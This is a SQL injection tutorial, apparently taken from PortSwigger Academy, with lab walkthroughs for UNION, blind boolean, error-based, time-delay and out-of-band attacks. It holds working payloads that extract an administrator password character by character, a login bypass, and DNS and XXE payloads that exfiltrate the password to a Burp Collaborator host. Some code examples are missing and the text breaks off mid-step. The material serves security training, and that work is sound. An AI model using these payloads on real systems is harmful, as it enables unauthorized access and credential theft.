- All the theory here was extracted from PortSwigger Academy
- Checkout SQLI Cheatsheet ❤️🔥
What is SQL injection (SQLi)?
SQL injection (SQLi) is a web security vulnerability that allows an attacker to interfere with the queries that an application makes to its database. This can allow an attacker to view data that they are not normally able to retrieve. This might include data that belongs to other users, or any other data that the application can access. In many cases, an attacker can modify or delete this data, causing persistent changes to the application’s content or behavior.
In some situations, an attacker can escalate a SQL injection attack to compromise the underlying server or other back-end infrastructure. It can also enable them to perform denial-of-service attacks.
How to detect SQL injection vulnerabilities
You can detect SQL injection manually using a systematic set of tests against every entry point in the application. To do this, you would typically submit:
- The single quote character
'
and look for errors or other anomalies. - Some SQL-specific syntax that evaluates to the base (original) value of the entry point, and to a different value, and look for systematic differences in the application responses.
- Boolean conditions such as
OR 1=1
andOR 1=2
, and look for differences in the application’s responses. - Payloads designed to trigger time delays when executed within a SQL query, and look for differences in the time taken to respond.
- OAST payloads designed to trigger an out-of-band network interaction when executed within a SQL query, and monitor any resulting interactions.
Alternatively, you can find the majority of SQL injection vulnerabilities quickly and reliably using Burp Scanner.
SQL injection in different parts of the query
Most SQL injection vulnerabilities occur within the WHERE
clause of a SELECT
query. Most experienced testers are familiar with this type of SQL injection.
However, SQL injection vulnerabilities can occur at any location within the query, and within different query types. Some other common locations where SQL injection arises are:
- In
UPDATE
statements, within the updated values or theWHERE
clause. - In
INSERT
statements, within the inserted values. - In
SELECT
statements, within the table or column name. - In
SELECT
statements, within theORDER BY
clause.
Retrieving hidden data
Imagine a shopping application that displays products in different categories. When the user clicks on the Gifts category, their browser requests the URL:
https://insecure-website.com/products?category=Gifts
This causes the application to make a SQL query to retrieve details of the relevant products from the database:
SELECT * FROM products WHERE category = 'Gifts' AND released = 1
This SQL query asks the database to return:
- all details (
*
) - from the
products
table - where the
category
isGifts
- and
released
is1
.
The restriction released = 1
is being used to hide products that are not released. We could assume for unreleased products, released = 0
.
The application doesn’t implement any defenses against SQL injection attacks. This means an attacker can construct the following attack, for example:
https://insecure-website.com/products?category=Gifts'--
This results in the SQL query:
SELECT * FROM products WHERE category = 'Gifts'--' AND released = 1
Crucially, note that --
is a comment indicator in SQL. This means that the rest of the query is interpreted as a comment, effectively removing it. In this example, this means the query no longer includes AND released = 1
. As a result, all products are displayed, including those that are not yet released.
You can use a similar attack to cause the application to display all the products in any category, including categories that they don’t know about:
https://insecure-website.com/products?category=Gifts'+OR+1=1--
This results in the SQL query:
SELECT * FROM products WHERE category = 'Gifts' OR 1=1--' AND released = 1
The modified query returns all items where either the category
is Gifts
, or 1
is equal to 1
. As 1=1
is always true, the query returns all items.
Warning
Take care when injecting the condition
OR 1=1
into a SQL query. Even if it appears to be harmless in the context you’re injecting into, it’s common for applications to use data from a single request in multiple different queries. If your condition reaches anUPDATE
orDELETE
statement, for example, it can result in an accidental loss of data.
Subverting application logic
Imagine an application that lets users log in with a username and password. If a user submits the username wiener
and the password bluecheese
, the application checks the credentials by performing the following SQL query:
SELECT * FROM users WHERE username = 'wiener' AND password = 'bluecheese'
If the query returns the details of a user, then the login is successful. Otherwise, it is rejected.
In this case, an attacker can log in as any user without the need for a password. They can do this using the SQL comment sequence --
to remove the password check from the WHERE
clause of the query. For example, submitting the username administrator'--
and a blank password results in the following query:
SELECT * FROM users WHERE username = 'administrator'--' AND password = ''
This query returns the user whose username
is administrator
and successfully logs the attacker in as that user.
SQL injection UNION attacks
When an application is vulnerable to SQL injection, and the results of the query are returned within the application’s responses, you can use the UNION
keyword to retrieve data from other tables within the database. This is commonly known as a SQL injection UNION attack.
The UNION
keyword enables you to execute one or more additional SELECT
queries and append the results to the original query. For example:
SELECT a, b FROM table1 UNION SELECT c, d FROM table2
This SQL query returns a single result set with two columns, containing values from columns a
and b
in table1
and columns c
and d
in table2
.
For a UNION
query to work, two key requirements must be met:
- The individual queries must return the same number of columns.
- The data types in each column must be compatible between the individual queries.
To carry out a SQL injection UNION attack, make sure that your attack meets these two requirements. This normally involves finding out:
- How many columns are being returned from the original query.
- Which columns returned from the original query are of a suitable data type to hold the results from the injected query.
Determining the number of columns required
When you perform a SQL injection UNION attack, there are two effective methods to determine how many columns are being returned from the original query.
One method involves injecting a series of ORDER BY
clauses and incrementing the specified column index until an error occurs. For example, if the injection point is a quoted string within the WHERE
clause of the original query, you would submit:
This series of payloads modifies the original query to order the results by different columns in the result set. The column in an ORDER BY
clause can be specified by its index, so you don’t need to know the names of any columns. When the specified column index exceeds the number of actual columns in the result set, the database returns an error, such as:
The ORDER BY position number 3 is out of range of the number of items in the select list.
The application might actually return the database error in its HTTP response, but it may also issue a generic error response. In other cases, it may simply return no results at all. Either way, as long as you can detect some difference in the response, you can infer how many columns are being returned from the query.
The second method involves submitting a series of UNION SELECT
payloads specifying a different number of null values:
If the number of nulls does not match the number of columns, the database returns an error, such as:
All queries combined using a UNION, INTERSECT or EXCEPT operator must have an equal number of expressions in their target lists.
We use NULL
as the values returned from the injected SELECT
query because the data types in each column must be compatible between the original and the injected queries. NULL
is convertible to every common data type, so it maximizes the chance that the payload will succeed when the column count is correct.
As with the ORDER BY
technique, the application might actually return the database error in its HTTP response, but may return a generic error or simply return no results. When the number of nulls matches the number of columns, the database returns an additional row in the result set, containing null values in each column. The effect on the HTTP response depends on the application’s code. If you are lucky, you will see some additional content within the response, such as an extra row on an HTML table. Otherwise, the null values might trigger a different error, such as a NullPointerException
. In the worst case, the response might look the same as a response caused by an incorrect number of nulls. This would make this method ineffective.
Database-specific syntax
On Oracle, every SELECT
query must use the FROM
keyword and specify a valid table. There is a built-in table on Oracle called dual
which can be used for this purpose. So the injected queries on Oracle would need to look like:
' UNION SELECT NULL FROM DUAL--
The payloads described use the double-dash comment sequence --
to comment out the remainder of the original query following the injection point. On MySQL, the double-dash sequence must be followed by a space. Alternatively, the hash character #
can be used to identify a comment.
For more details of database-specific syntax, see the SQL injection cheat sheet.
Finding columns with a useful data type
A SQL injection UNION attack enables you to retrieve the results from an injected query. The interesting data that you want to retrieve is normally in string form. This means you need to find one or more columns in the original query results whose data type is, or is compatible with, string data.
After you determine the number of required columns, you can probe each column to test whether it can hold string data. You can submit a series of UNION SELECT
payloads that place a string value into each column in turn. For example, if the query returns four columns, you would submit:
If the column data type is not compatible with string data, the injected query will cause a database error, such as:
Conversion failed when converting the varchar value 'a' to data type int.
If an error does not occur, and the application’s response contains some additional content including the injected string value, then the relevant column is suitable for retrieving string data.
Using a SQL injection UNION attack to retrieve interesting data
When you have determined the number of columns returned by the original query and found which columns can hold string data, you are in a position to retrieve interesting data.
Suppose that:
- The original query returns two columns, both of which can hold string data.
- The injection point is a quoted string within the
WHERE
clause. - The database contains a table called
users
with the columnsusername
andpassword
.
In this example, you can retrieve the contents of the users
table by submitting the input:
In order to perform this attack, you need to know that there is a table called users
with two columns called username
and password
. Without this information, you would have to guess the names of the tables and columns. All modern databases provide ways to examine the database structure, and determine what tables and columns they contain.
Retrieving multiple values within a single column
In some cases the query in the previous example may only return a single column.
You can retrieve multiple values together within this single column by concatenating the values together. You can include a separator to let you distinguish the combined values. For example, on Oracle you could submit the input:
This uses the double-pipe sequence ||
which is a string concatenation operator on Oracle. The injected query concatenates together the values of the username
and password
fields, separated by the ~
character.
The results from the query contain all the usernames and passwords, for example:
Different databases use different syntax to perform string concatenation. For more details, see the SQL injection cheat sheet.
Examining the database in SQL injection attacks
To exploit SQL injection vulnerabilities, it’s often necessary to find information about the database. This includes:
- The type and version of the database software.
- The tables and columns that the database contains.
Querying the database type and version
You can potentially identify both the database type and version by injecting provider-specific queries to see if one works
The following are some queries to determine the database version for some popular database types:
Database type | Query |
---|---|
Microsoft, MySQL | SELECT @@version |
Oracle | SELECT * FROM v$version |
PostgreSQL | SELECT version() |
For example, you could use a UNION
attack with the following input:
This might return the following output. In this case, you can confirm that the database is Microsoft SQL Server and see the version used:
Listing the contents of the database
Most database types (except Oracle) have a set of views called the information schema. This provides information about the database.
For example, you can query information_schema.tables
to list the tables in the database:
This returns output like the following:
This output indicates that there are three tables, called Products
, Users
, and Feedback
.
You can then query information_schema.columns
to list the columns in individual tables:
This returns output like the following:
This output shows the columns in the specified table and the data type of each column.
Blind SQL injection
In this section, we describe techniques for finding and exploiting blind SQL injection vulnerabilities.
What is blind SQL injection?
Blind SQL injection occurs when an application is vulnerable to SQL injection, but its HTTP responses do not contain the results of the relevant SQL query or the details of any database errors.
Many techniques such as UNION
attacks are not effective with blind SQL injection vulnerabilities. This is because they rely on being able to see the results of the injected query within the application’s responses. It is still possible to exploit blind SQL injection to access unauthorized data, but different techniques must be used.
Exploiting blind SQL injection by triggering conditional responses
Consider an application that uses tracking cookies to gather analytics about usage. Requests to the application include a cookie header like this:
Cookie: TrackingId=u5YD3PapBcR4lN3e7Tj4
When a request containing a TrackingId
cookie is processed, the application uses a SQL query to determine whether this is a known user:
This query is vulnerable to SQL injection, but the results from the query are not returned to the user. However, the application does behave differently depending on whether the query returns any data. If you submit a recognized TrackingId
, the query returns data and you receive a “Welcome back” message in the response.
This behavior is enough to be able to exploit the blind SQL injection vulnerability. You can retrieve information by triggering different responses conditionally, depending on an injected condition.
To understand how this exploit works, suppose that two requests are sent containing the following TrackingId
cookie values in turn:
- The first of these values causes the query to return results, because the injected
AND '1'='1
condition is true. As a result, the “Welcome back” message is displayed. - The second value causes the query to not return any results, because the injected condition is false. The “Welcome back” message is not displayed.
This allows us to determine the answer to any single injected condition, and extract data one piece at a time.
For example, suppose there is a table called Users
with the columns Username
and Password
, and a user called Administrator
. You can determine the password for this user by sending a series of inputs to test the password one character at a time.
To do this, start with the following input:
This returns the “Welcome back” message, indicating that the injected condition is true, and so the first character of the password is greater than m
.
Next, we send the following input:
This does not return the “Welcome back” message, indicating that the injected condition is false, and so the first character of the password is not greater than t
.
Eventually, we send the following input, which returns the “Welcome back” message, thereby confirming that the first character of the password is s
:
We can continue this process to systematically determine the full password for the Administrator
user.
Note
The
SUBSTRING
function is calledSUBSTR
on some types of database. For more details, see the SQL injection cheat sheet.
Tip
To automate the process of guessing the password I will follow the next steps:
-
Send a series of follow-up values to test different password lengths. Send:
TrackingId=xyz' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>2)='a
Then send:TrackingId=xyz' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>3)='a
And so on. You can do this manually using Burp Repeater, since the length is likely to be short. When the condition stops being true (i.e. when the “Welcome back” message disappears), you have determined the length of the password, which is in fact 20 characters long.
-
After determining the length of the password, the next step is to test the character at each position to determine its value. This involves a much larger number of requests, so you need to use Burp Intruder. Send the request you are working on to Burp Intruder, using the context menu.
-
In the Positions tab of Burp Intruder, change the value of the cookie to:
TrackingId=xyz' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a
This uses the
SUBSTRING()
function to extract a single character from the password, and test it against a specific value. Our attack will cycle through each position and possible value, testing each one in turn. -
Place payload position markers around the final
a
character in the cookie value. To do this, select just thea
, and click the “Add §” button. You should then see the following as the cookie value (note the payload position markers):TrackingId=xyz' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='§a§
-
To test the character at each position, you’ll need to send suitable payloads in the payload position that you’ve defined. You can assume that the password contains only lowercase alphanumeric characters. Go to the Payloads tab, check that “Simple list” is selected, and under Payload settings add the payloads in the range a - z and 0 - 9. You can select these easily using the “Add from list” drop-down.
-
To be able to tell when the correct character was submitted, you’ll need to grep each response for the expression “Welcome back”. To do this, go to the Settings tab, and the “Grep - Match” section. Clear any existing entries in the list, and then add the value “Welcome back”.
-
Launch the attack by clicking the “Start attack” button or selecting “Start attack” from the Intruder menu.
-
Review the attack results to find the value of the character at the first position. You should see a column in the results called “Welcome back”. One of the rows should have a tick in this column. The payload showing for that row is the value of the character at the first position.
-
Now, you simply need to re-run the attack for each of the other character positions in the password, to determine their value. To do this, go back to the main Burp window, and the Positions tab of Burp Intruder, and change the specified offset from 1 to 2. You should then see the following as the cookie value:
TrackingId=xyz' AND (SELECT SUBSTRING(password,2,1) FROM users WHERE username='administrator')='a
-
Launch the modified attack, review the results, and note the character at the second offset.
-
Continue this process testing offset 3, 4, and so on, until you have the whole password.
Note
For more advanced users, the solution described here could be made more elegant in various ways. For example, instead of iterating over every character, you could perform a binary search of the character space. Or you could create a single Intruder attack with two payload positions and the “Cluster bomb” attack type, and work through all permutations of offsets and character values.
Error-based SQL injection
Error-based SQL injection refers to cases where you’re able to use error messages to either extract or infer sensitive data from the database, even in blind contexts. The possibilities depend on the configuration of the database and the types of errors you’re able to trigger:
- You may be able to induce the application to return a specific error response based on the result of a boolean expression. You can exploit this in the same way as the conditional responses we looked at in the previous section. For more information, see Exploiting blind SQL injection by triggering conditional errors.
- You may be able to trigger error messages that output the data returned by the query. This effectively turns otherwise blind SQL injection vulnerabilities into visible ones. For more information, see Extracting sensitive data via verbose SQL error messages.
Exploiting blind SQL injection by triggering conditional errors
Some applications carry out SQL queries but their behavior doesn’t change, regardless of whether the query returns any data. The technique in the previous section won’t work, because injecting different boolean conditions makes no difference to the application’s responses.
It’s often possible to induce the application to return a different response depending on whether a SQL error occurs. You can modify the query so that it causes a database error only if the condition is true. Very often, an unhandled error thrown by the database causes some difference in the application’s response, such as an error message. This enables you to infer the truth of the injected condition.
To see how this works, suppose that two requests are sent containing the following TrackingId
cookie values in turn:
These inputs use the CASE
keyword to test a condition and return a different expression depending on whether the expression is true:
- With the first input, the
CASE
expression evaluates to'a'
, which does not cause any error. - With the second input, it evaluates to
1/0
, which causes a divide-by-zero error.
If the error causes a difference in the application’s HTTP response, you can use this to determine whether the injected condition is true.
Using this technique, you can retrieve data by testing one character at a time:
Note
There are different ways of triggering conditional errors, and different techniques work best on different database types. For more details, see the SQL injection cheat sheet.
-
Visit the front page of the shop, and use Burp Suite to intercept and modify the request containing the
TrackingId
cookie. For simplicity, let’s say the original value of the cookie isTrackingId=xyz
. -
Modify the
TrackingId
cookie, appending a single quotation mark to it:TrackingId=xyz'
Verify that an error message is received.
-
Now change it to two quotation marks:
TrackingId=xyz''
Verify that the error disappears. This suggests that a syntax error (in this case, the unclosed quotation mark) is having a detectable effect on the response. -
You now need to confirm that the server is interpreting the injection as a SQL query i.e. that the error is a SQL syntax error as opposed to any other kind of error. To do this, you first need to construct a subquery using valid SQL syntax. Try submitting:
TrackingId=xyz'||(SELECT '')||'
In this case, notice that the query still appears to be invalid. This may be due to the database type - try specifying a predictable table name in the query:
TrackingId=xyz'||(SELECT '' FROM dual)||'
As you no longer receive an error, this indicates that the target is probably using an Oracle database, which requires all
SELECT
statements to explicitly specify a table name. -
Now that you’ve crafted what appears to be a valid query, try submitting an invalid query while still preserving valid SQL syntax. For example, try querying a non-existent table name:
TrackingId=xyz'||(SELECT '' FROM not-a-real-table)||'
This time, an error is returned. This behavior strongly suggests that your injection is being processed as a SQL query by the back-end.
-
As long as you make sure to always inject syntactically valid SQL queries, you can use this error response to infer key information about the database. For example, in order to verify that the
users
table exists, send the following query:TrackingId=xyz'||(SELECT '' FROM users WHERE ROWNUM = 1)||'
As this query does not return an error, you can infer that this table does exist. Note that the
WHERE ROWNUM = 1
condition is important here to prevent the query from returning more than one row, which would break our concatenation. -
You can also exploit this behavior to test conditions. First, submit the following query:
TrackingId=xyz'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'
Verify that an error message is received.
-
Now change it to:
TrackingId=xyz'||(SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'
Verify that the error disappears. This demonstrates that you can trigger an error conditionally on the truth of a specific condition. The
CASE
statement tests a condition and evaluates to one expression if the condition is true, and another expression if the condition is false. The former expression contains a divide-by-zero, which causes an error. In this case, the two payloads test the conditions1=1
and1=2
, and an error is received when the condition istrue
. -
You can use this behavior to test whether specific entries exist in a table. For example, use the following query to check whether the username
administrator
exists:TrackingId=xyz'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
Verify that the condition is true (the error is received), confirming that there is a user called
administrator
. -
The next step is to determine how many characters are in the password of the
administrator
user. To do this, change the value to:TrackingId=xyz'||(SELECT CASE WHEN LENGTH(password)>1 THEN to_char(1/0) ELSE '' END FROM users WHERE username='administrator')||'
This condition should be true, confirming that the password is greater than 1 character in length.
-
Send a series of follow-up values to test different password lengths. Send:
TrackingId=xyz'||(SELECT CASE WHEN LENGTH(password)>2 THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
Then send:
TrackingId=xyz'||(SELECT CASE WHEN LENGTH(password)>3 THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
And so on. You can do this manually using Burp Repeater, since the length is likely to be short. When the condition stops being true (i.e. when the error disappears), you have determined the length of the password, which is in fact 20 characters long.
-
After determining the length of the password, the next step is to test the character at each position to determine its value. This involves a much larger number of requests, so you need to use Burp Intruder. Send the request you are working on to Burp Intruder, using the context menu.
-
In the Positions tab of Burp Intruder, change the value of the cookie to:
TrackingId=xyz'||(SELECT CASE WHEN SUBSTR(password,1,1)='a' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
This uses the
SUBSTR()
function to extract a single character from the password, and test it against a specific value. Our attack will cycle through each position and possible value, testing each one in turn. -
Place payload position markers around the final
a
character in the cookie value. To do this, select just thea
, and click the “Add §” button. You should then see the following as the cookie value (note the payload position markers):TrackingId=xyz'||(SELECT CASE WHEN SUBSTR(password,1,1)='§a§' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
-
To test the character at each position, you’ll need to send suitable payloads in the payload position that you’ve defined. You can assume that the password contains only lowercase alphanumeric characters. Go to the Payloads tab, check that “Simple list” is selected, and under “Payload settings” add the payloads in the range a - z and 0 - 9. You can select these easily using the “Add from list” drop-down.
-
Launch the attack by clicking the “Start attack” button or selecting “Start attack” from the Intruder menu.
-
Review the attack results to find the value of the character at the first position. The application returns an HTTP 500 status code when the error occurs, and an HTTP 200 status code normally. The “Status” column in the Intruder results shows the HTTP status code, so you can easily find the row with 500 in this column. The payload showing for that row is the value of the character at the first position.
-
Now, you simply need to re-run the attack for each of the other character positions in the password, to determine their value. To do this, go back to the main Burp window, and the Positions tab of Burp Intruder, and change the specified offset from 1 to 2. You should then see the following as the cookie value:
TrackingId=xyz'||(SELECT CASE WHEN SUBSTR(password,2,1)='§a§' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
-
Launch the modified attack, review the results, and note the character at the second offset.
-
Continue this process testing offset 3, 4, and so on, until you have the whole password.
-
In the browser, click “My account” to open the login page. Use the password to log in as the
administrator
user.
Extracting sensitive data via verbose SQL error messages
Misconfiguration of the database sometimes results in verbose error messages. These can provide information that may be useful to an attacker. For example, consider the following error message, which occurs after injecting a single quote into an id
parameter:
This shows the full query that the application constructed using our input. We can see that in this case, we’re injecting into a single-quoted string inside a WHERE
statement. This makes it easier to construct a valid query containing a malicious payload. Commenting out the rest of the query would prevent the superfluous single-quote from breaking the syntax.
Occasionally, you may be able to induce the application to generate an error message that contains some of the data that is returned by the query. This effectively turns an otherwise blind SQL injection vulnerability into a visible one.
You can use the CAST()
function to achieve this. It enables you to convert one data type to another. For example, imagine a query containing the following statement:
Often, the data that you’re trying to read is a string. Attempting to convert this to an incompatible data type, such as an int
, may cause an error similar to the following:
ERROR: invalid input syntax for type integer: "Example data"
This type of query may also be useful if a character limit prevents you from triggering conditional responses.
Example
The solution of the lab
-
Using Burp’s built-in browser, explore the lab functionality.
-
Go to the Proxy > HTTP history tab and find a
GET /
request that contains aTrackingId
cookie. -
In Repeater, append a single quote to the value of your
TrackingId
cookie and send the request.TrackingId=ogAZZfxtOKUELbuJ'
-
In the response, notice the verbose error message. This discloses the full SQL query, including the value of your cookie. It also explains that you have an unclosed string literal. Observe that your injection appears inside a single-quoted string.
-
In the request, add comment characters to comment out the rest of the query, including the extra single-quote character that’s causing the error:
TrackingId=ogAZZfxtOKUELbuJ'--
-
Send the request. Confirm that you no longer receive an error. This suggests that the query is now syntactically valid.
-
Adapt the query to include a generic
SELECT
subquery and cast the returned value to anint
data type:TrackingId=ogAZZfxtOKUELbuJ' AND CAST((SELECT 1) AS int)--
-
Send the request. Observe that you now get a different error saying that an
AND
condition must be a boolean expression. -
Modify the condition accordingly. For example, you can simply add a comparison operator (
=
) as follows:TrackingId=ogAZZfxtOKUELbuJ' AND 1=CAST((SELECT 1) AS int)--
-
Send the request. Confirm that you no longer receive an error. This suggests that this is a valid query again.
-
Adapt your generic
SELECT
statement so that it retrieves usernames from the database:TrackingId=ogAZZfxtOKUELbuJ' AND 1=CAST((SELECT username FROM users) AS int)--
-
Observe that you receive the initial error message again. Notice that your query now appears to be truncated due to a character limit. As a result, the comment characters you added to fix up the query aren’t included.
-
Delete the original value of the
TrackingId
cookie to free up some additional characters. Resend the request.TrackingId=' AND 1=CAST((SELECT username FROM users) AS int)--
-
Notice that you receive a new error message, which appears to be generated by the database. This suggests that the query was run properly, but you’re still getting an error because it unexpectedly returned more than one row.
-
Modify the query to return only one row:
TrackingId=' AND 1=CAST((SELECT username FROM users LIMIT 1) AS int)--
-
Send the request. Observe that the error message now leaks the first username from the
users
table:ERROR: invalid input syntax for type integer: "administrator"
-
Now that you know that the
administrator
is the first user in the table, modify the query once again to leak their password:TrackingId=' AND 1=CAST((SELECT password FROM users LIMIT 1) AS int)--
-
Log in as
administrator
using the stolen password to solve the lab.
Exploiting blind SQL injection by triggering time delays
If the application catches database errors when the SQL query is executed and handles them gracefully, there won’t be any difference in the application’s response. This means the previous technique for inducing conditional errors will not work.
In this situation, it is often possible to exploit the blind SQL injection vulnerability by triggering time delays depending on whether an injected condition is true or false. As SQL queries are normally processed synchronously by the application, delaying the execution of a SQL query also delays the HTTP response. This allows you to determine the truth of the injected condition based on the time taken to receive the HTTP response.
The techniques for triggering a time delay are specific to the type of database being used. For example, on Microsoft SQL Server, you can use the following to test a condition and trigger a delay depending on whether the expression is true:
- The first of these inputs does not trigger a delay, because the condition
1=2
is false. - The second input triggers a delay of 10 seconds, because the condition
1=1
is true.
Using this technique, we can retrieve data by testing one character at a time:
Note
There are various ways to trigger time delays within SQL queries, and different techniques apply on different types of database. For more details, see the SQL injection cheat sheet.
Example
The solution of the lab
-
Visit the front page of the shop, and use Burp Suite to intercept and modify the request containing the
TrackingId
cookie. -
Modify the
TrackingId
cookie, changing it to:TrackingId=x'%3BSELECT+CASE+WHEN+(1=1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END--
Verify that the application takes 10 seconds to respond.
-
Now change it to:
TrackingId=x'%3BSELECT+CASE+WHEN+(1=2)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END--
Verify that the application responds immediately with no time delay. This demonstrates how you can test a single boolean condition and infer the result.
-
Now change it to:
TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
Verify that the condition is true, confirming that there is a user called
administrator
. -
The next step is to determine how many characters are in the password of the
administrator
user. To do this, change the value to:TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator'+AND+LENGTH(password)>1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
This condition should be true, confirming that the password is greater than 1 character in length.
-
Send a series of follow-up values to test different password lengths. Send:
TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator'+AND+LENGTH(password)>2)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
Then send:
TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator'+AND+LENGTH(password)>3)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
And so on. You can do this manually using Burp Repeater, since the length is likely to be short. When the condition stops being true (i.e. when the application responds immediately without a time delay), you have determined the length of the password, which is in fact 20 characters long.
-
After determining the length of the password, the next step is to test the character at each position to determine its value. This involves a much larger number of requests, so you need to use Burp Intruder. Send the request you are working on to Burp Intruder, using the context menu.
-
In the Positions tab of Burp Intruder, change the value of the cookie to:
TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,1,1)='a')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
This uses the
SUBSTRING()
function to extract a single character from the password, and test it against a specific value. Our attack will cycle through each position and possible value, testing each one in turn. -
Place payload position markers around the
a
character in the cookie value. To do this, select just thea
, and click the “Add §” button. You should then see the following as the cookie value (note the payload position markers):TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,1,1)='§a§')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
-
To test the character at each position, you’ll need to send suitable payloads in the payload position that you’ve defined. You can assume that the password contains only lower case alphanumeric characters. Go to the Payloads tab, check that “Simple list” is selected, and under “Payload settings” add the payloads in the range a - z and 0 - 9. You can select these easily using the “Add from list” drop-down.
-
To be able to tell when the correct character was submitted, you’ll need to monitor the time taken for the application to respond to each request. For this process to be as reliable as possible, you need to configure the Intruder attack to issue requests in a single thread. To do this, go to the “Resource pool” tab and add the attack to a resource pool with the “Maximum concurrent requests” set to
1
. -
Launch the attack by clicking the “Start attack” button or selecting “Start attack” from the Intruder menu.
-
Burp Intruder monitors the time taken for the application’s response to be received, but by default it does not show this information. To see it, go to the “Columns” menu, and check the box for “Response received”.
-
Review the attack results to find the value of the character at the first position. You should see a column in the results called “Response received”. This will generally contain a small number, representing the number of milliseconds the application took to respond. One of the rows should have a larger number in this column, in the region of 10,000 milliseconds. The payload showing for that row is the value of the character at the first position.
-
Now, you simply need to re-run the attack for each of the other character positions in the password, to determine their value. To do this, go back to the main Burp window, and the Positions tab of Burp Intruder, and change the specified offset from 1 to 2. You should then see the following as the cookie value:
TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,2,1)='§a§')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
-
Launch the modified attack, review the results, and note the character at the second offset.
-
Continue this process testing offset 3, 4, and so on, until you have the whole password.
-
In the browser, click “My account” to open the login page. Use the password to log in as the
administrator
user.
Exploiting blind SQL injection using out-of-band (OAST) techniques
An application might carry out the same SQL query as the previous example but do it asynchronously. The application continues processing the user’s request in the original thread, and uses another thread to execute a SQL query using the tracking cookie. The query is still vulnerable to SQL injection, but none of the techniques described so far will work. The application’s response doesn’t depend on the query returning any data, a database error occurring, or on the time taken to execute the query.
In this situation, it is often possible to exploit the blind SQL injection vulnerability by triggering out-of-band network interactions to a system that you control. These can be triggered based on an injected condition to infer information one piece at a time. More usefully, data can be exfiltrated directly within the network interaction.
A variety of network protocols can be used for this purpose, but typically the most effective is DNS (domain name service). Many production networks allow free egress of DNS queries, because they’re essential for the normal operation of production systems.
The easiest and most reliable tool for using out-of-band techniques is Burp Collaborator. This is a server that provides custom implementations of various network services, including DNS. It allows you to detect when network interactions occur as a result of sending individual payloads to a vulnerable application. Burp Suite Professional includes a built-in client that’s configured to work with Burp Collaborator right out of the box. For more information, see the documentation for Burp Collaborator.
The techniques for triggering a DNS query are specific to the type of database being used. For example, the following input on Microsoft SQL Server can be used to cause a DNS lookup on a specified domain:
This causes the database to perform a lookup for the following domain:
0efdymgw1o5w9inae8mg4dfrgim9ay.burpcollaborator.net
You can use Burp Collaborator to generate a unique subdomain and poll the Collaborator server to confirm when any DNS lookups occur.
Example
The lab solution
- Visit the front page of the shop, and use Burp Suite to intercept and modify the request containing the
TrackingId
cookie. - Modify the
TrackingId
cookie, changing it to a payload that will trigger an interaction with the Collaborator server. For example, you can combine SQL injection with basic XXE techniques as follows:
TrackingId=x'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//BURP-COLLABORATOR-SUBDOMAIN/">+%25remote%3b]>'),'/l')+FROM+dual--
- Right-click and select “Insert Collaborator payload” to insert a Burp Collaborator subdomain where indicated in the modified
TrackingId
cookie.
The solution described here is sufficient simply to trigger a DNS lookup and so solve the lab. In a real-world situation, you would use Burp Collaborator to verify that your payload had indeed triggered a DNS lookup and potentially exploit this behavior to exfiltrate sensitive data from the application.
Having confirmed a way to trigger out-of-band interactions, you can then use the out-of-band channel to exfiltrate data from the vulnerable application. For example:
'; declare @p varchar(1024);set @p=(SELECT password FROM users WHERE username='Administrator');exec('master..xp_dirtree "//'+@p+'.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net/a"')--
This input reads the password for the Administrator
user, appends a unique Collaborator subdomain, and triggers a DNS lookup. This lookup allows you to view the captured password:
S3cure.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net
Out-of-band (OAST) techniques are a powerful way to detect and exploit blind SQL injection, due to the high chance of success and the ability to directly exfiltrate data within the out-of-band channel. For this reason, OAST techniques are often preferable even in situations where other techniques for blind exploitation do work.
Note
There are various ways of triggering out-of-band interactions, and different techniques apply on different types of database. For more details, see the SQL injection cheat sheet.
Example
The lab solution
-
Visit the front page of the shop, and use Burp Suite Professional to intercept and modify the request containing the
TrackingId
cookie. -
Modify the
TrackingId
cookie, changing it to a payload that will leak the administrator’s password in an interaction with the Collaborator server. For example, you can combine SQL injection with basic XXE techniques as follows:TrackingId=x'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(SELECT+password+FROM+users+WHERE+username%3d'administrator')||'.BURP-COLLABORATOR-SUBDOMAIN/">+%25remote%3b]>'),'/l')+FROM+dual--
-
